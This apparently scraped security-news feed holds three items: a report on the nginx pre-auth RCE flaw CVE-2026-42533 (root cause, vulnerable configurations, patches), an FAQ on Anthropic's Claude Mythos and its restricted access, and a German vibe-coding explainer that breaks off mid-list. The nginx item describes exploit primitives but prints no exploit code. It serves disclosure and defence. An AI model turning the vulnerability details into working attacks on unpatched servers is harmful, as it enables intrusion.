<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1217" height="768" src="https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="CVE-2026-42533" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533.webp 1217w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-300x189.webp 300w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-1024x646.webp 1024w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-768x485.webp 768w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-600x379.webp 600w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-150x95.webp 150w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-750x473.webp 750w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-1140x719.webp 1140w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533.webp 1217w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-300x189.webp 300w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-1024x646.webp 1024w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-768x485.webp 768w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-600x379.webp 600w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-150x95.webp 150w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-750x473.webp 750w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-1140x719.webp 1140w" sizes="(max-width: 1217px) 100vw, 1217px" title="CVE-2026-42533 Exposes Critical Pre-Auth nginx RCE Flaw 1"></p><span data-contrast="auto">A newly disclosed security flaw, CVE-2026-42533, has revealed a critical Pre-Auth nginx vulnerability that could allow attackers to achieve reliable RCE (remote code execution) without authentication. The issue affects nginx versions 0.9.6 through 1.30.3 (stable) and 1.31.2 (mainline), while patched releases include 1.30.4 and 1.31.3. Affected NGINX Plus versions include R33-R36 (fixed in R36 P7) and 37.0.0.1-37.0.2.1 (fixed in 37.0.3.1).</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">According to the disclosure, the <a class="wpil_keyword_link" href="https://thecyberexpress.com/firewall-daily/vulnerabilities/" title="vulnerability" data-wpil-keyword-link="linked" data-wpil-monitor-id="29039">vulnerability</a> stems from a missing save-and-restore mechanism for PCRE capture state within nginx's two-pass script evaluation engine. The flaw enables attackers to trigger a heap buffer overflow with attacker-controlled content and length, while also exposing heap pointers through an information leak that can defeat Address Space Layout Randomization (ASLR). Chaining both primitives enables reliable Pre-Auth nginx RCE.</span><span data-ccp-props="{}"> </span>
<h3 aria-level="2"><b><span data-contrast="none">CVE-2026-42533 Impacts Multiple Configurations</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">The <a href="https://cyberstan.co.uk/nginx-rce/" target="_blank" rel="nofollow noopener">advisory warns</a> that deployments using map directives with regex patterns alongside regex capture sources, including location, server_name, rewrite, or if blocks, may be vulnerable. The issue depends on evaluation order, where regex capture references, such as $1 or named groups, are processed before a regex map variable.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Affected directives include proxy_set_header, proxy_method, proxy_pass, fastcgi_param, uwsgi_param, scgi_param, grpc_set_header, return, add_header, rewrite, set, root, alias, and access_log, among others. Both HTTP and stream modules are affected, and the <a href="https://thecyberexpress.com/default-credentials-polish-energy-grid-attack/" target="_blank" rel="noopener">vulnerable</a> capture and map variables do not need to exist within the same directive.</span><span data-ccp-props="{}"> </span>
<h3 aria-level="2"><b><span data-contrast="none">Technical Root Cause</span></b></h3>
<span data-contrast="auto">The researcher explained that nginx evaluates expressions in two stages: a length calculation (LEN) pass followed by a value (VALUE) pass. During execution, regex map evaluation overwrites shared capture <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="29040">data</a> stored in the request object. As a result, the LEN pass and VALUE pass can calculate different capture sizes, causing either a heap overflow or an information leak depending on the relative capture lengths.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The disclosure states that attackers can control both the overflow size and leaked data using ordinary HTTP requests, including request URIs, headers, and bodies. No credentials, client certificates, or unusual configuration beyond the vulnerable pattern are required.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Testing reportedly achieved 10 out of 10 successful <a href="https://thecyberexpress.com/rcritical-ivanti-csa-vulnerabilities-exploited/" target="_blank" rel="noopener">exploitations</a> on Ubuntu 24.04 using glibc 2.39 with ASLR enabled.</span>
<h3 aria-level="2"><b><span data-contrast="none">Mitigation and Disclosure</span></b></h3>
<span data-contrast="auto">The researcher said recent fixes for CVE-2026-42945, CVE-2026-9256, CVE-2026-42055, and CVE-2026-48142 do not address CVE-2026-42533. Administrators are advised to upgrade immediately to nginx 1.30.4, 1.31.3, or the corresponding patched NGINX Plus releases.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Until systems are updated, defenders should audit configurations that combine regex captures with regex map variables in the same evaluation path. The researcher also released a static configuration scanner that identifies vulnerable configurations without exploiting them.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The initial report was submitted to F5 SIRT on May 17, 2026, with follow-up analyses covering additional variants, including cross-directive triggering and named capture clobbering. While a proof-of-concept exploit exists, the researcher said it will be withheld until users have sufficient time to apply patches, citing concerns over rapid exploitation following previous <a href="https://thecyberexpress.com/nginx-rift-cve-2026-42945-active-exploitation/" target="_blank" rel="noopener">nginx</a> vulnerability disclosures.</span><span data-ccp-props="{}"> </span>]]></content:encoded>
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<title><![CDATA[Claude Mythos FAQ: Capabilities, access, competitors, implications]]></title>
<description><![CDATA[1.
What is Claude Mythos?




Claude Mythos is an advanced AI model developed by Anthropic and is optimized for cybersecurity and healthcare applications.



Mythos 5 was originally released in April to a small group of vetted technology partners ahead of a planned wider rollout.



Anthropic est...]]></description>
<link>https://tsecurity.de/de/3680433/it-security-nachrichten/claude-mythos-faq-capabilities-access-competitors-implications/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680433/it-security-nachrichten/claude-mythos-faq-capabilities-access-competitors-implications/</guid>
<pubDate>Mon, 20 Jul 2026 08:38:28 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<div class="wp-block-idg-base-theme-faq-block faq-block">
<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">1.</span>
<h2 class="wp-block-heading">What is Claude Mythos?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">Claude Mythos is an advanced AI model developed by Anthropic and is optimized for cybersecurity and healthcare applications.</p>



<p class="wp-block-paragraph"><a href="https://www.anthropic.com/claude/mythos">Mythos 5</a> was originally released in April to a small group of vetted technology partners ahead of a planned wider rollout.</p>



<p class="wp-block-paragraph">Anthropic established <strong>Project Glasswing</strong>, a consortium that gives limited, controlled access to Mythos to infrastructure providers, open-source developers, and major technology companies. The scheme was designed to enable defenders to find and resolve vulnerabilities faster than they could be identified by attackers, <a href="https://www.csoonline.com/article/4154222/6-ways-attackers-abuse-ai-services-to-hack-your-business.html">many of which are also beginning to rely heavily on AI tools</a>.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">2.</span>
<h2 class="wp-block-heading">What are the capabilities of Claude Mythos?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">The <a href="https://www.csoonline.com/article/4155342/what-anthropic-glasswing-reveals-about-the-future-of-vulnerability-discovery.html">50 initial partners of Project Glasswing</a> were able to use Mythos to find more than <a href="https://www.csoonline.com/article/4176865/project-glasswing-has-uncovered-10000-vulnerabilities-anthropic.html">10,000 high- or critical-severity vulnerabilities</a> in every major operating system and <a href="https://www.csoonline.com/article/4162259/claude-mythos-signals-a-new-era-in-ai-driven-security-finding-271-flaws-in-firefox.html">every major web browser</a>.</p>



<p class="wp-block-paragraph">The model is identifying security flaws that had evaded even the most capable security researchers for years, such as a <a href="https://www.csoonline.com/article/4159617/behind-the-mythos-hype-glasswing-has-just-one-confirmed-cve.html">27-year-old bug in OpenBSD</a>. It has also proved capable of chaining multiple vulnerabilities together.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">3.</span>
<h2 class="wp-block-heading">How is Anthropic restricting access to Claude Mythos?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">Anthropic said it was restricting the more widespread availability of the frontier AI model because its capabilities might easily be misused by attackers.</p>



<p class="wp-block-paragraph">In June the technology was released to an <a href="https://www.csoonline.com/article/4180265/anthropic-grants-project-glasswing-access-to-150-more-companies-with-a-focus-on-critical-infrastructure.html">additional 150 organizations</a>. All Mythos partners are required to accept a 30-day data retention policy for safety monitoring.</p>



<p class="wp-block-paragraph">After the availability of Mythos forced the <a href="https://www.csoonline.com/article/4166824/anthropic-mythos-spurs-white-house-to-weigh-pre-release-reviews-for-high-risk-ai-models.html">Trump administration to reconsider its “hands off” approach to AI oversight</a>, the US government applied export controls to Claude Fable 5 and Claude Mythos 5 on June 15. The restrictions — which were supposed to block access to foreign nationals both inside and outside the US — were lifted on June 30.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">4.</span>
<h2 class="wp-block-heading">What is Claude Fable?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">For broader use, Anthropic is offering <a href="https://www.csoonline.com/article/4183094/anthropic-releases-mythos-class-fable-5-model-with-safeguards-for-cyber-risks.html">Claude Fable 5</a>, which is based on the same underlying technology but comes with strict guardrails that limit operations in “risky” cybersecurity domains. Flagged queries are automatically routed to the earlier and less capable Opus 4.8 large language model (LLM) instead.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">5.</span>
<h2 class="wp-block-heading">How are Anthropic’s security vendor partners using access to Mythos?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">Cisco, one of Anthropic’s Project Glasswing partners, <a href="https://blogs.cisco.com/ai/announcing-foundry-security-spec">open-sourced its Foundry Security Spec</a>, a model-agnostic “harness” for security testing, so that other vendors and enterprise security defenders could build similar workflows without starting from scratch.</p>



<p class="wp-block-paragraph">During a recent web conference, representatives from Cisco argued that defenders can use AI to identify, confirm, and resolve security issues at much greater speed and scale. Older vulnerability remediation models based on “find one issue, patch one issue” are no longer adequate because attackers are using AI moving to accelerate the path from vulnerability discovery to exploitation.</p>



<p class="wp-block-paragraph">Cisco has been using AI internally to scan 1.8 billion lines of code across its whole product portfolio.</p>



<p class="wp-block-paragraph">Smaller businesses do not need access to restricted AI models to improve security and more can be achieved in smaller shops by improving security fundamentals such as authentication, segmentation, zero trust, and prioritizing the remediation of actively exploited vulnerabilities, according to Cisco.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">6.</span>
<h2 class="wp-block-heading">Do other AI vendors offer anything comparable to Claude Mythos?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">Mythos is the most prominent example of frontier AI models that can automate zero-day discovery at a scale and speed far beyond the capability of human teams.</p>



<p class="wp-block-paragraph">Several other vendors have frontier AI models aimed towards high-capability, security-oriented operations while others have capable open models that might easily be applied to cybersecurity research.</p>



<p class="wp-block-paragraph">As a result, Claude Mythos is far from the only game in town.</p>



<p class="wp-block-paragraph">For example, OpenAI’s GPT-5.4-Cyber (and <a href="https://openai.com/index/gpt-5-5-with-trusted-access-for-cyber/">GPT-5.5</a>) has applications in vulnerability analysis and discovery as well as malware analysis and threat modelling. Security vendors, enterprises, and researchers can gain access to the technology through OpenAI’s Trusted Access for Cyber (TAC) scheme.</p>



<p class="wp-block-paragraph">Chinese cybersecurity firm <a href="https://www.reuters.com/legal/litigation/chinas-360-says-it-has-developed-tools-match-anthropics-mythos-2026-06-24/">360 Security Technology has developed Tulongfeng</a>, described as a domestic answer to Anthropic’s Mythos.</p>



<p class="wp-block-paragraph">High performance open models — including DeepSeek V3.2 and Llama 4 — can be run privately on GPU infrastructure and applied to cybersecurity research. Fugu from Japanese vendor Sakana AI offers another option in this category.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">7.</span>
<h2 class="wp-block-heading">What do cybersecurity critics say about Claude Mythos?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">Infosecurity critics note that while Claude Mythos is unquestionably advanced, marketing claims that it is reliably breaking production systems overstate its capabilities.</p>



<p class="wp-block-paragraph">Security professionals are complaining through <a href="https://www.youtube.com/watch?v=mx0CpTp3Q4Y">podcasts</a> and elsewhere about the overly sensitive guardrails in Claude Fable that downgrade to Opus 4.8 upon requests to summarize a security-related blog post or even spell the word “exploit” much less tackle any everyday information security task.</p>



<p class="wp-block-paragraph">Other experts warn that false positives are likely to be an issue for cybersecurity research using frontier AI models.</p>



<p class="wp-block-paragraph">The wider criticism is that finding more vulnerabilities faster fails to address the bigger problem of reliability fixing security bugs or non-technical attack paths such as social engineering.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">8.</span>
<h2 class="wp-block-heading">How should enterprise CISOs respond to the development of Mythos?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">Western intelligence agencies that form the <a href="https://www.ncsc.gov.uk/sites/default/files/2026-06/Five-Eyes-cyber-security-agencies-statement-ai-shift.pdf">Fives Eyes alliance issued a statement warning that frontier AI models such as Claude Mythos</a> are “fundamentally transforming both offensive and defensive cyber capabilities” in a scale of months rather than years.</p>



<p class="wp-block-paragraph">“While Al will help us improve cyber defence over time, it also accelerates the speed, scale, and sophistication of cyber threats,” the group, which includes the US National Security Agency and the UK’s National Cyber Security Centre, warns.</p>



<p class="wp-block-paragraph">Enterprises need to be using AI to strengthen defenses as part of broader plans to improve cybersecurity resilience.</p>



<p class="wp-block-paragraph">AI-based systems capable of mapping realistic attack paths faster than any human adversary are fast becoming a pervasive threat, while most organizations are nowhere near ready for what that means for their threat models, one expert warns.</p>



<p class="wp-block-paragraph">“We now have AI systems that can map realistic attack paths across software, vendors, and critical infrastructure faster than human adversaries can catalog them,” says Joe Hubback, partner and CISO at consultancy Elixirr and former McKinsey Partner. “And as Mythos-class capabilities are prepared for broad commercial release, that’s no longer a niche research problem, it’s something every organization will have to factor into its threat model.”</p>



<p class="wp-block-paragraph">An <a href="https://labs.cloudsecurityalliance.org/wp-content/uploads/2026/04/mythosready-20260413.pdf">AI safety paper from the Cloud Security Alliance</a> warns that AI has significantly compressed the time between vulnerability discovery and exploitation, outpacing traditional patch-and-react security models. Organizations should brace for ongoing waves of AI-discovered vulnerabilities from Project Glasswing and other sources.</p>



<p class="wp-block-paragraph">“The capabilities seen in Mythos will quickly become more widely available, dramatically increasing the number and frequency of complex, novel attacks organizations will face,” it warns.</p>



<p class="wp-block-paragraph">Enterprise security defenders need to shift to a “Mythos-ready” approach built around continuous vulnerability operations, faster prioritization, and improved incident response.</p>
</div>
</div></div>
</div>



<p class="wp-block-paragraph"><strong>See also:</strong></p>



<ul class="wp-block-list">
<li><a href="https://www.csoonline.com/article/4155342/what-anthropic-glasswing-reveals-about-the-future-of-vulnerability-discovery.html">What Anthropic Glasswing reveals about the future of vulnerability discovery</a></li>



<li><a href="https://www.csoonline.com/article/4158117/anthropics-mythos-signals-a-structural-cybersecurity-shift.html">Anthropic’s Mythos signals a structural cybersecurity shift</a></li>



<li><a href="https://www.csoonline.com/article/4180920/beware-the-son-of-mythos-security-experts-warn.html">Beware the ‘son of Mythos,’ security experts warn</a></li>



<li><a href="https://www.csoonline.com/article/4189600/mythos-is-a-signal-not-a-siren-what-frontier-ai-should-change-for-cisos.html">Mythos is a signal, not a siren: What frontier AI should change for CISOs</a></li>
</ul>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Vibe Coding erklärt]]></title>
<description><![CDATA[Vibe Coding verspricht viele KI-getriebene Vorteile, macht Softwareentwickler jedoch nicht überflüssig – eher im Gegenteil.Fit Ztudio | shutterstock.com



Im Dev-Umfeld verschwimmt die Grenze zwischen Programmieren und Prompten schon seit einigen Jahren. Auf die Spitze getrieben wird diese Entwi...]]></description>
<link>https://tsecurity.de/de/3680298/it-security-nachrichten/vibe-coding-erklaert/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680298/it-security-nachrichten/vibe-coding-erklaert/</guid>
<pubDate>Mon, 20 Jul 2026 07:54:16 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2025/11/Fit-Ztudio_shutterstock_2642655115_16z9.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Code Review Dev 16z9" class="wp-image-4086782" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Vibe Coding verspricht viele KI-getriebene Vorteile, macht Softwareentwickler jedoch nicht überflüssig – eher im Gegenteil.</figcaption></figure><p class="imageCredit">Fit Ztudio | shutterstock.com</p></div>



<p class="wp-block-paragraph">Im Dev-Umfeld verschwimmt die Grenze zwischen Programmieren und Prompten schon seit einigen Jahren. Auf die Spitze getrieben wird diese Entwicklung vom <a href="https://www.computerwoche.de/article/3854442/vibe-coding-im-selbstversuch.html" target="_blank">Vibe-Coding-Trend</a>: Frühe KI-Entwickler-Tools wie GitHub Copilot waren vornehmlich darauf ausgelegt, Devs zu unterstützen. Etwa, indem sie Funktionen und Syntax ergänzten oder Boilerplate-Code aus Kommentaren generierten. Kommt ein Vibe-Coding-Ansatz zum Zug, beginnen <a href="https://www.computerwoche.de/article/2818958/was-developer-an-ihrem-job-lieben-und-hassen.html" target="_blank">menschliche Entwickler</a> hingegen gar nicht erst damit, Code zu schreiben.</p>



<p class="wp-block-paragraph">Dieses Konzept führt nicht nur zu veränderten Workflows, sondern erfordert auch, ein neues Mindset. Schließlich wird die Programmierarbeit mit <a href="https://www.computerwoche.de/article/4052859/github-spark-im-vibe-coding-test.html" target="_blank">Vibe Coding</a> eher zu einer Art Live-Prototyping. In diesem Artikel lesen Sie:</p>



<ul class="wp-block-list">
<li>warum Vibe Coding Vibe Coding heißt,</li>



<li>inwieweit sich dieser Ansatz für Unternehmen eignet,</li>



<li>wie Vibe-Coding-Workflows konkret aussehen (können),</li>



<li>welche Tools in diesem Bereich zu empfehlen sind,</li>



<li>welche Risiken Sie dabei auf dem Schirm haben sollten, sowie</li>



<li>Tipps dazu, wie Sie Vibe Coding effektiv in der Praxis umsetzen.</li>
</ul>



<h2 class="wp-block-heading">Vibe Coding – Begriffsdefinition</h2>



<p class="wp-block-paragraph">Der Begriff Vibe Coding wurde Anfang 2025 vom OpenAI-Mitbegründer <a href="https://www.linkedin.com/in/andrej-karpathy-9a650716/" target="_blank" rel="noreferrer noopener">Andrej Karpathy</a> geprägt. Der KI-Experte trat den Trend mit einem Post auf dem Kurznachrichtendienst X los.</p>



<figure class="wp-block-embed is-type-rich is-provider-x wp-block-embed-x"><div class="wp-block-embed__wrapper youtube-video">
<blockquote class="twitter-tweet" data-width="500" data-dnt="true"><p lang="en" dir="ltr">There's a new kind of coding I call "vibe coding", where you fully give in to the vibes, embrace exponentials, and forget that the code even exists. It's possible because the LLMs (e.g. Cursor Composer w Sonnet) are getting too good. Also I just talk to Composer with SuperWhisper…</p>— Andrej Karpathy (@karpathy) <a href="https://x.com/karpathy/status/1886192184808149383?ref_src=twsrc%5Etfw">February 2, 2025</a></blockquote>
</div></figure>



<p class="wp-block-paragraph">In diesem beschreibt Karpathy die Vibe-Coding-Methodik als eine neue Coding-Form, bei der man sich ganz den “Vibes” hingibt und vergisst, dass der Code überhaupt existiert. <a href="https://shadowdragon.io/author/amy-mshadowdragon-io/" target="_blank" rel="noreferrer noopener">Amy Mortlock</a>, Vice President of Marketing beim <a href="https://www.computerwoche.de/article/2795282/wie-viel-wissen-hacker-ueber-sie.html" target="_blank">OSINT</a>-Spezialisten ShadowDragon, erklärt das Konzept etwas weniger kryptisch: “Beim Vibe Coding beschreibt man in natürlicher Sprache, was man möchte, und die KI generiert dann die gesamte Anwendung und kümmert sich um alle technischen Details.”</p>



<p class="wp-block-paragraph">Vibe Coding setzt also darauf, die traditionelle Programmierarbeit durch dialogorientierte Anweisungen und <a href="https://www.computerwoche.de/article/4026379/ki-jobs-diese-skills-brauchen-entwickler.html" target="_blank">Kooperation mit einem KI-Assistenten</a> zu ersetzen. Statt detaillierte Spezifikationen zu entwerfen und diese an die Engineers weiterzugeben, können Produktmanager, Fachexperten – oder jeder andere, der eine Idee hat – in einfacher Sprache beschreiben, wie das Ergebnis aussehen soll. Die KI-Software erledigt dem Rest in Echtzeit. Allerdings geht es dabei weniger darum, die Softwareentwicklung durchgängig zu automatisieren.</p>



<p class="wp-block-paragraph">Vielmehr stehen Mindset-Veränderungen im Fokus: Warum sollte man nicht der KI die Mechanik überlassen und sich stattdessen auf die Ausrichtung, das Feedback, den Flow und die “Vibes” konzentrieren? Schließlich werden die Modelle, die Tools wie <a href="https://www.infoworld.com/article/4081431/cursor-2-0-adds-coding-model-ui-for-parallel-agents.html" target="_blank">Cursor</a> oder GitHub Copilot zugrunde liegen, immer performanter. Deswegen sehen auch viele Developer ihre Arbeit inzwischen vorwiegend als einen Dialog mit der KI – statt sich zeilenweise selbst durch Syntax zu wühlen.</p>



<p class="wp-block-paragraph">Und obwohl auch bei einem Vibe-Coding-Ansatz diverse <a href="https://www.computerwoche.de/article/4034385/9-wege-mit-vibe-coding-zu-scheitern.html" target="_blank">Probleme und Herausforderungen</a> auf den Plan treten können (dazu später mehr): Die Technik gewinnt zunehmend an Popularität – auch im Unternehmensumfeld.</p>



<h2 class="wp-block-heading">Vibe Coding im Unternehmen</h2>



<p class="wp-block-paragraph">Wie das in der Praxis konkret aussieht, beschreibt <a href="https://www.linkedin.com/in/charlesjiama/" target="_blank" rel="noreferrer noopener">Charles Ma</a>, Softwareentwickler beim Observability-Spezialisten Chronosphere: “Viele unserer Entwickler nutzen Tools wie Cursor und <a href="https://www.computerwoche.de/article/4182911/claude-code-hat-ein-sicherheitsproblem.html" target="_blank">Claude Code</a>. Wir fördern deren Einsatz sogar über ein Nutzungs-Leaderboard. Dabei betrachten wir die Tools jedoch als Assistenten, nicht als Dev-Ersatz. Unser Code-Review-Prozess ist weiterhin Pflicht für jeden Produktionscode – und wir sehen eher davon ab, viele unserer oder gar externe Tools mit KI zu verbinden.”</p>



<p class="wp-block-paragraph">In der Perspektive von <a href="https://www.linkedin.com/in/achint-agarwal-a853241" target="_blank" rel="noreferrer noopener">Achint Agarwal</a>, Vice President of Product beim KI-Anbieter Pramata, hat Vibe Coding vor allem die Art und Weise verändert, wie Teams vom Konzept zum Prototyp gelangen: “Früher mussten UI/UX-Designer und Entwickler zusammenarbeiten, um eine Idee in etwas zu verwandeln, mit dem Kunden interagieren konnten. Dieser Prozess konnte leicht mehrere Wochen dauern und diverse Überarbeitungsrunden umfassen.”</p>



<p class="wp-block-paragraph">Heute, so Agarwal, könne ein Produktmanager oder Fachexperte einfach in <a href="https://www.computerwoche.de/article/2799474/was-ist-natural-language-processing.html" target="_blank">natürlicher Sprache</a> formulieren, was er sich vorstellt, und die KI generiere funktionierenden Code in <a href="https://www.computerwoche.de/article/2785190/prototyping-hilft-bei-der-softwareentwicklung.html" target="_blank">Prototyp-Qualität</a>. “Bei dieser Veränderung geht es um mehr als nur Geschwindigkeit: Auch die Qualität der Ergebnisse ist besser, weil die Person, die den Anforderungen am nächsten steht, während des gesamten Prozesses die Kontrolle behält und es keine Reibungsverluste durch Übergaben gibt”, fügt der Manager hinzu.</p>



<p class="wp-block-paragraph">Auch Agarwal sieht in Vibe Coding kein Substitut für die traditionelle <a href="https://www.computerwoche.de/article/4016035/6-trends-wie-ki-die-softwareentwicklung-verandert.html" target="_blank">Softwareentwicklung</a>, sondern vor allem ein Explorations- und Validierungs-Tool: “Dev-Teams ist es damit möglich, in kurzer Zeit funktionierende Prototypen zu erstellen, diese mit Kunden zu testen und zu überprüfen, ob die Idee sinnvoll ist. Fällt diese Prüfung positiv aus, kann der Prototyp an die Engineers gehen, die ihn mit Blick auf Skalierbarkeit, Sicherheit und langfristige Integrationen weiter ausbauen.”</p>



<h2 class="wp-block-heading">Wie sieht ein Vibe-Coding-Workflow aus?</h2>



<p class="wp-block-paragraph">Es gibt keine allgemeingültige Blaupause für Vibe Coding. Entsprechend gehen auch die Ansichten darüber auseinander, wie ein typischer Vibe-Coding-Workflow aussieht. <a href="https://www.linkedin.com/in/kostaspardalis/" target="_blank" rel="noreferrer noopener">Kostas Pardalis</a>, Data Infrastructure Engineer beim KI-Lösungsanbieter Typedef, beschreibt diesen als agilen, vierstufigen Prozess:</p>



<ul class="wp-block-list">
<li>die <strong>Erkundungsphase</strong>, in der der “Vibe”, der Zweck und die Einschränkungen definiert werden.</li>



<li>die <strong>Gestaltungsphase</strong>, in der ein funktionierender Prototyp erstellt und verfeinert wird.</li>



<li>die <strong>Grounding-Phase</strong>, die genutzt wird, um Struktur und Datenintegrität hinzuzufügen.</li>



<li>die <strong>Operationalisierungsphase</strong>, in der Versionierung, Evaluierung und Governance hinzukommen.</li>
</ul>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/steve-croce-1060082/" target="_blank" rel="noreferrer noopener">Steve Croce</a>, Field CTO beim Open-Source-Unternehmen Anaconda, steht hingegen auf dem Standpunkt, dass der Vibe-Coding-Workflow davon abhängig ist, ob ein Prototyp, eine Zwischenlösung oder eine vollständige Produktionsapplikation entwickelt werden soll. Basierend darauf, orientiert sich der Vibe-Coding-Workflow in der Vision des Technologieentscheiders eher am traditionellen Software Development Lifecycle – fußt jedoch ebenfalls auf vier Stufen:</p>



<ul class="wp-block-list">
<li>In der Phase der <strong>Planungs- und Anforderungsanalyse</strong> könnten Produktmanager und UX-Teams demnach voll und ganz auf Vibe Coding setzen und so vor der formellen Entwicklung klickbare Prototypen und Machbarkeitstests erstellen.</li>



<li>Im Rahmen der<strong> Design-Phase </strong>kann KI laut Croce dabei unterstützen, Architekturen und <a href="https://www.computerwoche.de/a/4077044" target="_blank">Dokumentationen zu erstellen</a>. Der Manager weist allerdings darauf hin, dass es in dieser Phase auch hilfreich sein könne, erfahrene Engineers oder Architekten hinzuziehen, um die Einhaltung von Standards und die Reusability interner Systeme zu gewährleisten.</li>



<li>Als Kernbereich der Vibe-Coding-Experience sieht Croce die<strong> Implementierungs- und Testphase:</strong> Ein KI-Agent könne an dieser Stelle die gesamte Anwendung erstellen und darüber hinaus auch Repositories strukturieren und <a href="https://www.computerwoche.de/article/2804460/installationen-und-funktionstests-automatisieren.html" target="_blank">Tests durchführen</a>. Der Experte rät Unternehmens-Teams jedoch mit Blick auf die Testabdeckung und Konformitätsprüfungen auch in dieser Phase dazu, menschliche Profis hinzuzuziehen.</li>



<li>In der <strong>Bereitstellungs- und Wartungsphase </strong>könne KI laut dem CTO dazu genutzt werden, Apps bereitzustellen und zu warten. Dieser Part könne jedoch auch vollständig außerhalb der Vibe-Coding-Erfahrung abgewickelt werden, um den Unternehmensanforderungen zu entsprechen, so Croce.</li>
</ul>



<h2 class="wp-block-heading">Empfehlenswerte Vibe-Coding-Tools</h2>



<p class="wp-block-paragraph">Vibe-Coding-Tools decken ein breites Spektrum ab: Vom leicht zugänglichen, dialogorientierten Builder für nicht-technische Teams, bis hin zu integrierten Entwicklungsumgebungen (<a href="https://www.computerwoche.de/article/2827615/4-entwicklungsumgebungen-fuer-pythonistas.html" target="_blank">IDEs</a>), die Engineers umfassende Kontrollmöglichkeiten bieten und zuverlässige Anwendungen gewährleisten. Die Wahl des richtigen Tools hängt von den Fähigkeiten des Teams, dem Projektziel und dem benötigten Maß an Governance ab.</p>



<p class="wp-block-paragraph">Eine kleine Auswahl empfehlenswerter Tools für Vibe-Coding-Zwecke:</p>



<ul class="wp-block-list">
<li><a href="https://cursor.com/" target="_blank" rel="noreferrer noopener"><strong>Cursor</strong></a> ist eine KI-integrierte IDE, mit der sich mehrere Dateien bearbeiten lassen.</li>



<li><a href="https://replit.com/" target="_blank" rel="noreferrer noopener"><strong>Replit</strong></a> ist eine gute Wahl für Browser-basierte Entwicklungsarbeit.</li>



